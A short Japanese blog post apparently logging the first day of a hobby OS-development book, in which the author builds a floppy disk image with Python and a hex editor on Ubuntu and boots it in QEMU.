実は一度挫折しているので,今回もどうなるかわかりません.

書いている人間の技術力が低いので,間違った記述が多々出てくると思われます.その際は優しく指摘してください.


環境

本の中ではWindowsを開発環境として話が進んでいますが,自分はUbuntu 18.04 の 64bitで作業を進めて行きたいと思います.理由は自分の持っているPCのOSがUbuntuだからというだけです.

$ uname -a
Linux ubuntu 4.15.0-46-generic #49-Ubuntu SMP Wed Feb 6 09:33:07 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux


作業

1. とにかくやるのだぁ

バイナリエディタを使用するのでインストール

$ sudo apt install ghex

バイナリエディタで1,474,560バイトを入力し続けるのはさすがに心が折れるので,先にPythonで1,474,560バイトのファイルを作成します.

$ python -c 'print("\x00"*1474560)' > helloos.img
$ du -b helloos.img 
1474561    helloos.img

これだと,1バイト大きいみたい. なので,1バイト減らします.

$ python -c 'print("\x00"*1474559)' > helloos.img
$ du -b helloos.img 
1474560    helloos.img

その後,バイナリエディタを使って必要な部分を書き換えます. せっかくなのでhello, worldの1文字目を大文字で. Hは16進数で0x48なので0x68 -> 0x48へ変更.

f:id:m412u:20190319115909p:plain

実行

エミュレータをインストール.

$ sudo apt install qemu

実行

$ qemu-system-i386 -fda helloos.img

f:id:m412u:20190319120015p:plain
実行画面


まとめ

Markdownに慣れていないので,記事を書く方に時間がかかってしまった.

参考

30日でできる! OS自作入門 | マイナビブックス

OSの動作原理を勉強する | OS自作入門 1日目 【Linux】 | サラリーマンがハッカーを真剣に目指す